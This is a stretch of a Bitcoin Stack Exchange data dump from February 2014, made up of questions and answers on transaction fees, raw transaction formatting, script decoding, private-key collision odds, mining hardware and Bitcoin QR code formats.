  <row Id="21631" PostTypeId="1" AcceptedAnswerId="21635" CreationDate="2014-02-04T03:30:36.737" Score="4" ViewCount="3047" Body="&lt;p&gt;I am unable to earn money from solving blocks, but I think I could make money from transaction fees. The issue is that pools hide the transaction fees from the miners. The miners earn the solved blocks. How would I go about processing transactions on my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will satisfy two goals:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;earn transaction fees&lt;/li&gt;&#xA;&lt;li&gt;any transactions I perform, I can process myself&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13077" LastEditorUserId="132" LastEditDate="2014-02-06T16:47:48.287" LastActivityDate="2014-02-06T16:47:48.287" Title="How do I set up my machine to process transactions and earn the transaction fees?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21632" PostTypeId="1" CreationDate="2014-02-04T03:30:45.707" Score="2" ViewCount="890" Body="&lt;p&gt;Is there an option I can pass when running the miner? ( CGMiner / BFGMiner )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one get the temperature of a USB Miner? ( In my case BitFury )&lt;/p&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="5406" LastEditDate="2016-04-25T20:39:21.797" LastActivityDate="2016-04-25T20:39:21.797" Title="How do I get the temperature of my USB Miner?" Tags="|mining-hardware|cgminer|bfgminer|alert-system|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21633" PostTypeId="2" ParentId="16673" CreationDate="2014-02-04T03:32:06.853" Score="0" Body="&lt;p&gt;I know, I can't believe the Bitmit is gone! I used to sell all kinds of stuff on there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that a new BTC auction site just launched this week. It is called DistractedPuppy.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked around a little, it looks like a beta, but promising! Maybe there is hope.  ;D&lt;/p&gt;&#xA;" OwnerUserId="13078" LastEditorUserId="5406" LastEditDate="2014-02-09T09:00:10.780" LastActivityDate="2014-02-09T09:00:10.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21634" PostTypeId="1" CreationDate="2014-02-04T04:14:15.847" Score="2" ViewCount="59" Body="&lt;p&gt;My guess is that there is that you are able to leave the transaction parameter empty, but I have not been able to find confirmation. &lt;/p&gt;&#xA;" OwnerUserId="13079" LastActivityDate="2014-02-04T04:14:15.847" Title="How were the first 169 blocks mined if no transactions occured before block 170?" Tags="|genesis-block|" AnswerCount="0" CommentCount="1" ClosedDate="2014-02-04T09:07:29.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="21635" PostTypeId="2" ParentId="21631" CreationDate="2014-02-04T05:34:34.383" Score="8" Body="&lt;p&gt;The only way to collect money from transaction fees is to solve blocks; they are one and the same thing. The reward for being the first to successfully mine a block is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the coinbase reward (currently 25 BTC), and&lt;/li&gt;&#xA;&lt;li&gt;any transaction fees for the transactions included in the block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no way to separate these two.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-04T05:34:34.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21637" PostTypeId="2" ParentId="21631" CreationDate="2014-02-04T06:05:32.083" Score="2" Body="&lt;p&gt;&lt;strong&gt;The short answer is:&lt;/strong&gt; You still have to mine a block, the transaction fee is added to the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The detailed answer:&lt;/strong&gt; The idea of transaction fees is to &lt;strong&gt;supply miners with enough BTCs&lt;/strong&gt; so the can keep on mining blocks. Because we keep all transactions on the block chain, it's important for the BTC ecosystem to have a big miner community. Eventually the prize for solving a block will drop, but the number of transactions will increase in such a way, it'll add sufficient number of BTCs to the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a point, BTC price will hopefully high enough to give miners a incentive to continue mining.&lt;/p&gt;&#xA;" OwnerUserId="12809" LastActivityDate="2014-02-04T06:05:32.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21638" PostTypeId="1" CreationDate="2014-02-04T08:52:43.423" Score="3" ViewCount="3730" Body="&lt;p&gt;There are a few github projects, but it doesn't look as though there's a 'mainstream' option with good support for varying protocol. Is there any one most popular?&lt;/p&gt;&#xA;" OwnerUserId="13084" LastEditorUserId="5406" LastEditDate="2016-04-17T20:16:27.333" LastActivityDate="2016-04-17T20:16:27.333" Title="What are the most popular CPU/GPU miners with scrypt-jane support" Tags="|gpu-mining|cpu-mining|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21639" PostTypeId="1" AcceptedAnswerId="21643" CreationDate="2014-02-04T09:23:40.280" Score="0" ViewCount="5490" Body="&lt;p&gt;I've been trying to broadcast a transaction using sendrawtransaction of bitcoind.&#xA;I keep getting an error : &quot;TX decode failed.&quot;, Code -22.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I'm not properly formatting the transaction into hex before attempting to send.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; btc.sendrawtransaction(new_tx.to_json.unpack(&quot;H*&quot;)[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a representation of my transaction in hex :&#xA;         7b0a20202268617368223a22333235343463303630316532323932626566303039353265396636303437     &#xA;3031303030303030222c0a202020202020227363726970745075624b6579223a224f505f445550204f505f48415348313630203662343633623439373835393930386439646236\&#xA;3562393734623434333532386232396132613932204f505f455155414c564552494659204f505f434845434b534947220a202020207d0a20205d0a7ee&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this how I transform a transaction into hex in ruby ?&lt;/li&gt;&#xA;&lt;li&gt;Is there anything else I'm missing ? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13086" LastEditorUserId="13086" LastEditDate="2014-02-04T09:36:43.077" LastActivityDate="2014-02-04T10:23:31.953" Title="How to convert a transaction into hex before using the sendrawtransaction API?" Tags="|bitcoind|api|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21640" PostTypeId="2" ParentId="21116" CreationDate="2014-02-04T09:45:19.310" Score="0" Body="&lt;p&gt;The answer is &lt;a href=&quot;https://github.com/litecoin-project/p2pool-scanner&quot; rel=&quot;nofollow&quot;&gt;p2pool-scanner&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little piece of javascript with minimal webserver (NodeJS) which keeps scanning your local p2pool-data directory for node ips and scans all nodes for public html frontend. If it finds a public accessable frontend, it will add it to a list of public nodes and displays the results sorted by uptime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its easy modified (&lt;code&gt;scanner.cfg&lt;/code&gt;) to work with any *coins p2pool network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example node scanner for vertcoin: &lt;a href=&quot;http://q30.qhor.net:9172/&quot; rel=&quot;nofollow&quot;&gt;http://q30.qhor.net:9172/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-02-04T09:45:19.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21641" PostTypeId="2" ParentId="21557" CreationDate="2014-02-04T09:58:08.217" Score="3" Body="&lt;p&gt;&lt;code&gt;coinbase, scriptPubKey, scriptSig&lt;/code&gt; - they are all scripts. You can read in wiki about how to decode script &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase can contain any data, even invalid script. But typically, it contains valid scripts. Examples of decoding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coinbase: 038abd07062f503253482f048725ee5208083865a409000000092f7374726174756d2f&#xA;03 - length opcode&#xA;8abd07 - data with length 03&#xA;06 - length opcode&#xA;2f503253482f - data with length 06&#xA;04 - length opcode&#xA;8725ee52 - data with length 04&#xA;08 - length opcode&#xA;083865a409000000 - data with length 08&#xA;09 - length opcode&#xA;2f7374726174756d2f - data with length 09&#xA;&#xA;scriptPubKey: 76a914975efcba1e058667594dc57146022ec46560a63c88ac&#xA;76 - OP_DUP opcode&#xA;a9 - HASH160 opcode&#xA;14 - length opcode&#xA;975efcba1e058667594dc57146022ec46560a63c - data with length 14 (20 in dec)&#xA;88 - OP_EQUALVERIFY opcode&#xA;ac - OP_CHECKSIG opcode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-02-04T09:58:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21642" PostTypeId="1" CreationDate="2014-02-04T10:03:21.013" Score="1" ViewCount="349" Body="&lt;p&gt;I'm discovering alt-coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm on &lt;a href=&quot;https://cryptocointalk.com/topic/3054-piratecoin-ptc-information/&quot; rel=&quot;nofollow&quot;&gt;piratecoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;blocks&quot; : 34167,&#xA;    &quot;currentblocksize&quot; : 1225,&#xA;    &quot;currentblocktx&quot; : 1,&#xA;    &quot;difficulty&quot; : 0.14348426,&#xA;    &quot;errors&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : true,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;hashespersec&quot; : 355,&#xA;    &quot;networkhashps&quot; : 11127177,&#xA;    &quot;pooledtx&quot; : 1,&#xA;    &quot;testnet&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is somehow calculated &lt;code&gt;networkhashps&lt;/code&gt;, seems it is aproximation from &lt;code&gt;difficulty&lt;/code&gt;, it is 11,127,177, ~ 11mh/s. I'm count on my own, &lt;code&gt;350h/s&lt;/code&gt;, however, &lt;code&gt;cgminer&lt;/code&gt; show me &lt;code&gt;180Kh/s&lt;/code&gt;. Probably it doesn't counts in &lt;code&gt;getmininginfo&lt;/code&gt; or recalculated somehow. Anybody?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen persons with much greater speed, its called mining rig. 20-30 may be 100 GPU in a bunch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if such huge miner connect to such young alt-coin network, download whole of current blockchain, and start mining off-line. After 5 hours he come back to network, his blockchain will be with bigger &lt;code&gt;difficulty&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can he attack network in such way?&lt;/p&gt;&#xA;" OwnerUserId="13087" LastEditorUserId="2306" LastEditDate="2014-09-12T16:27:30.877" LastActivityDate="2014-09-12T16:27:30.877" Title="Hash speed attack" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21643" PostTypeId="2" ParentId="21639" CreationDate="2014-02-04T10:07:09.247" Score="4" Body="&lt;p&gt;You cannot convert json string to hex representation. Transactions have their own binary format (you can read in wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;). To create transaction in hex format, you can use bitcoin-qt (or bitcoind) function &lt;code&gt;createrawtransaction&lt;/code&gt;. Example of using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction&#xA;'[&#xA;    { &quot;txid&quot;: &quot;10d5b7f61be2fa2e5979043a7071d3dbd371bc72cefea22e43b2dd54a6e27a99&quot;, &quot;vout&quot;: 1 }&#xA;]'&#xA;'{&#xA;    &quot;14rbFswzZfkPGkbFZ7Ffj2qhQA1omvgiUx&quot;: 0.099&#xA;}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call will return raw transaction in hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001997ae2a654ddb2432ea2fece72bc71d3dbd371703a0479592efae21bf6b7d5100100000000ffffffff01e00f9700000000001976a9142a495afa8b8147ec2f01713b18693cb0a85743b288ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, you must call &lt;code&gt;signrawtransaction&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction 0100000001997ae2a654ddb2432ea2fece72bc71d3dbd371703a0479592efae21bf6b7d5100100000000ffffffff01e00f9700000000001976a9142a495afa8b8147ec2f01713b18693cb0a85743b288ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call will return raw transaction in hex, which you can send to network using &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: be very careful, you can make mistake in amount, and lose your bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2014-02-04T10:23:31.953" LastActivityDate="2014-02-04T10:23:31.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21644" PostTypeId="2" ParentId="21629" CreationDate="2014-02-04T11:02:42.693" Score="1" Body="&lt;p&gt;You don't need all of bitcoind just for this functionality. Look at the code on the brainwallet.org page you posted: &lt;a href=&quot;http://brainwallet.org/js/bitcoinsig.js&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/js/bitcoinsig.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like you could take this exact code and implement it on the server-side with a JavaScript interpreter such as &lt;a href=&quot;http://nodejs.org/&quot; rel=&quot;nofollow&quot;&gt;node.js&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the programming language you're using but I'm sure this functionality is available in most of the bitcoin libraries: &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Libraries&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Software#Libraries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-04T11:02:42.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21645" PostTypeId="2" ParentId="19274" CreationDate="2014-02-04T13:01:00.803" Score="-1" Body="&lt;p&gt;You should check out &lt;a href=&quot;http://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;http://bitpay.com&lt;/a&gt; or &lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;http://coinbase.com&lt;/a&gt;. They host the payment processor for you.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-04T13:01:00.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21646" PostTypeId="1" AcceptedAnswerId="21648" CreationDate="2014-02-04T13:06:47.970" Score="10" ViewCount="19171" Body="&lt;p&gt;Say I have created a paper wallet with one bitcoin address in a vault. What are chances that someone else will find the private key for this wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7676/what-are-the-chances-of-vanitygen-address-private-key-pair-collision&quot;&gt;what are the chances of vanitygen address - private key pair collision?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2022-06-27T13:21:11.927" Title="What is the chance of someone (randomly) finding the private key for an existing Bitcoin address?" Tags="|wallet|address|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21647" PostTypeId="2" ParentId="21646" CreationDate="2014-02-04T13:17:58.193" Score="7" Body="&lt;p&gt;Essentially zero. They would have to find a private key whose public key hash matched yours. The public key hash is 160 bits long. If they had a billion computers, each of which could try a billion keys a second, and they tried for a billion years, they'd have much, much less than a one in a billion chance of getting it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-04T13:17:58.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21648" PostTypeId="2" ParentId="21646" CreationDate="2014-02-04T13:24:32.373" Score="6" Body="&lt;p&gt;There are around 1,461,501,637,330,902,918,203,684,832,716,283,019,655,932,542,976 possible bitcoin addresses according to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24268.msg304195#msg304195&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinTalk.org&lt;/a&gt;. This makes it a very small possibility of finding another address that is being used. So the chance is around %0.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastEditorUserId="5406" LastEditDate="2021-01-10T03:17:09.127" LastActivityDate="2021-01-10T03:17:09.127" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21649" PostTypeId="2" ParentId="21642" CreationDate="2014-02-04T13:26:43.883" Score="1" Body="&lt;p&gt;Absolutely. When a coin is secured by proof of work, if there is insufficient proof of work, the coin is not secure.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-04T13:26:43.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21650" PostTypeId="2" ParentId="21612" CreationDate="2014-02-04T13:29:25.097" Score="0" Body="&lt;p&gt;My idea is create an account at &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/wallet&lt;/a&gt; then add all of your address as watch only address. This way you can see everything about them all together or separate. &lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-04T13:29:25.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21651" PostTypeId="2" ParentId="16720" CreationDate="2014-02-04T13:33:38.677" Score="1" Body="&lt;p&gt;In Bitcoin-qt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tp0fK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tp0fK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TLlqq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLlqq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can do it in blockchain.info/wallet by clicking the menu above your addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to do it manually.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastEditorUserId="43738" LastEditDate="2018-05-01T19:50:22.233" LastActivityDate="2018-05-01T19:50:22.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21652" PostTypeId="2" ParentId="21066" CreationDate="2014-02-04T13:36:09.857" Score="1" Body="&lt;p&gt;For generating bulk wallets check out &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that import the public key in to blockchain.info/wallet where you can monitor them&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-04T13:36:09.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21654" PostTypeId="1" CreationDate="2014-02-04T14:37:34.490" Score="0" ViewCount="1540" Body="&lt;p&gt;can you help with Bitcoin block hashing algorithm ( PHP, C, Python, Javascript) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was working really hard to write block hashing algorithm in plain Javascript.&#xA;Unfortunately the developed Javascript code is not generating the correct hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday installed Python for Windows XP 32 and run Python hashing code&#xA;from&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and run code to get the correct hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python is very slow so I plan to test block hashing algorithm in C &#xA;&lt;a href=&quot;http://pastebin.com/bW3fQA2a&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/bW3fQA2a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in PHP and modify my Javascript code to generate the correct hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next step is to download hashed blocks from Blockchain via getJason API&#xA;to verify every nonce generated for the blocks hashed in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help or join me ?&lt;/p&gt;&#xA;" OwnerUserId="13054" LastActivityDate="2014-02-06T13:59:18.687" Title="Can you help with Bitcoin block hashing algorithm ( PHP, C, Python, Javascript)?" Tags="|blockchain|block|hash|" AnswerCount="2" CommentCount="1" ClosedDate="2014-02-06T16:45:23.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="21656" PostTypeId="1" AcceptedAnswerId="21665" CreationDate="2014-02-04T14:56:39.997" Score="5" ViewCount="9046" Body="&lt;p&gt;I am the author of &lt;a href=&quot;http://miohtama.github.com/bitcoinaddress.js/&quot; rel=&quot;noreferrer&quot;&gt;bitcoinaddress.js&lt;/a&gt; library and I am wondering what's the best content for Bitcoin QR codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Bitcoin QR codes should contain (for mobile wallet apps and other barcode scanners):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Only Bitcoin address (this is only one I have seen wild myself)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin URI scheme link (BIP 21) with payment amount, transaction note, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently I implemented address only, as I don't know how well-spread BIP 21 support is among the mobile phones and mobile wallets. If anyone can give me some answers and pointers to the prior research regarding the matter I'd be grateful.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2019-08-29T13:33:46.523" Title="Bitcoin QR codes: raw address or Bitcoin URI scheme" Tags="|address|qrcode|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21657" PostTypeId="2" ParentId="21656" CreationDate="2014-02-04T15:39:20.347" Score="1" Body="&lt;p&gt;I've met the &lt;a href=&quot;http://coinpunk.org/&quot; rel=&quot;nofollow&quot;&gt;Coinpunk&lt;/a&gt; developer last month at a meeting and he was discussing about how hard it was for him to create an entirely HTML5-based bitcoin QR code generator, that would work also on iOS devices. Apparently he was successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd therefore suggest to look into his project which is open-source: &lt;a href=&quot;https://github.com/kyledrake/coinpunk&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kyledrake/coinpunk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-04T15:39:20.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21659" PostTypeId="2" ParentId="21632" CreationDate="2014-02-04T16:12:26.867" Score="1" Body="&lt;p&gt;If your device has a temp sensor it will show in the API output and in the Text User Interface that is default when running at the command line&lt;/p&gt;&#xA;" OwnerUserId="13084" LastActivityDate="2014-02-04T16:12:26.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21660" PostTypeId="1" CreationDate="2014-02-04T16:29:17.950" Score="0" ViewCount="914" Body="&lt;p&gt;I've created a litecoin-qt server with the following configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;pools&quot; : [&#xA;        {&#xA;                &quot;url&quot; : &quot;http://192.168.10.5:9332&quot;,&#xA;                &quot;user&quot; : &quot;something&quot;,&#xA;                &quot;pass&quot; : &quot;somethingelse&quot;&#xA;        }&#xA;]&#xA;,&#xA;&quot;auto-fan&quot; : true,&#xA;&quot;temp-cutoff&quot; : &quot;95&quot;,&#xA;&quot;temp-overheat&quot; : &quot;85&quot;, &#xA;&quot;scrypt&quot; : true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm able to connect to it from at least 3 different machines on the network, plus one connection from itself (I'm having cgminer run on the server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm unable to connect from any other machines - it flashes the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-02-04 21:47:03] Pool: 0  URL: http://192.168.10.5:9332  User: something Password: somethingelse&#xA; [2014-02-04 21:47:03] Press any key to exit, or cgminer will try again in 15s.&#xA; [2014-02-04 21:48:03] HTTP request failed: Operation timed out after 60000 milliseconds with 0 out of -1 bytes received&#xA; [2014-02-04 21:48:03] Failed to connect in json_rpc_call&#xA; [2014-02-04 21:48:03] Succeeded delayed connect&#xA; [2014-02-04 21:49:03] Timed out waiting for response in initiate_stratum&#xA; [2014-02-04 21:49:03] Initiate stratum failed&#xA; [2014-02-04 21:49:03] Closing socket for stratum pool 0&#xA; [2014-02-04 21:49:03] FAILED to retrieve work from pool 0 http://192.168.10.5:9332&#xA; [2014-02-04 21:49:03] Pool 0 slow/down or URL or credentials invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And ends with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2014-02-04 21:40:48] Timed out waiting for data on socket_full&#xA; [2014-02-04 21:40:48] Initiate stratum failed&#xA; [2014-02-04 21:40:48] Closing socket for stratum pool 0&#xA; [2014-02-04 21:40:48] FAILED to retrieve work from pool 0 http://192.168.10.5:9332&#xA; [2014-02-04 21:40:48] Pool 0 slow/down or URL or credentials invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The datetimes are slightly off since I fetched these logs in different run instances.&lt;/p&gt;&#xA;" OwnerUserId="12923" LastActivityDate="2017-12-15T14:01:53.513" Title="Unable to connect to litecoin-qt server from more than 3-4 machines" Tags="|litecoin|cgminer|solo-mining|connection|litecoin-qt|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21662" PostTypeId="1" AcceptedAnswerId="21675" CreationDate="2014-02-04T17:04:32.370" Score="2" ViewCount="99" Body="&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Transaction_Format#AccountSet_.283.29&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Transaction_Format#AccountSet_.283.29&lt;/a&gt; defines  a field &quot;WalletLocator&quot; (256 bits) in Ripple's AccountSet transaction. That means that the field belongs to an account, and the owner of the account can set this field to whatever value they want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, it's not yet implemented in the &lt;a href=&quot;https://github.com/ripple/ripple-lib/blob/develop/src/js/ripple/transaction.js#L460&quot; rel=&quot;nofollow&quot;&gt;client code&lt;/a&gt; but in the &lt;a href=&quot;https://github.com/ripple/rippled/blob/d22b25c030fe2f3d98e3ecd95763cbd0d2d166af/src/ripple_app/tx/AccountSetTransactor.cpp#L200&quot; rel=&quot;nofollow&quot;&gt;server code&lt;/a&gt;. I'm not able to make sense of the name &quot;WalletLocator&quot;, and the code doesn't provide an explanation either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the purpose of the field?&lt;/p&gt;&#xA;" OwnerUserId="11019" LastActivityDate="2014-02-04T20:18:23.777" Title="What's the purpose of the WalletLocator field in Ripple accounts?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21665" PostTypeId="2" ParentId="21656" CreationDate="2014-02-04T18:16:24.423" Score="10" Body="&lt;p&gt;I'm working on a Bitcoin project, and what I've seen are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Just the Bitcoin address&lt;/li&gt;&#xA;&lt;li&gt;A url parameter-like scheme with the format &quot;bitcoin:{plus the bitcoin address}&quot; (no brackets used)&lt;/li&gt;&#xA;&lt;li&gt;A more elaborate url parameter that includes the amount, like &quot;bitcoin:{bitcoin addr}?amount={the amount}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Coinbase uses the last scheme and it is fully recognized by the BlockChain iPhone app, enabling you to request a certain amount of Bitcoin directed to a specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase uses the (deprecated) Google chart apis and the full querystring they use to build a QR code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; alt=&quot;Chart?cht=qr&amp;amp;amp;chl=bitcoin%3a1k1yfezde2c37pwdevjnin1yc2qbtly6bk%3famount%3d0&quot; src=&quot;https://chart.googleapis.com/chart?cht=qr&amp;amp;amp;chl=bitcoin%3A1K1yfEZde2C37pWDevjnin1yc2qBtLy6bk%3Famount%3D0.01&amp;amp;amp;choe=UTF-8&amp;amp;amp;chs=300x300&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you run that src url through a &lt;a href=&quot;http://meyerweb.com/eric/tools/dencoder/&quot;&gt;url decoder&lt;/a&gt;, you'll find that it requests 0.01 BTC to the address 1K1yfEZde2C37pWDevjnin1yc2qBtLy6bk.  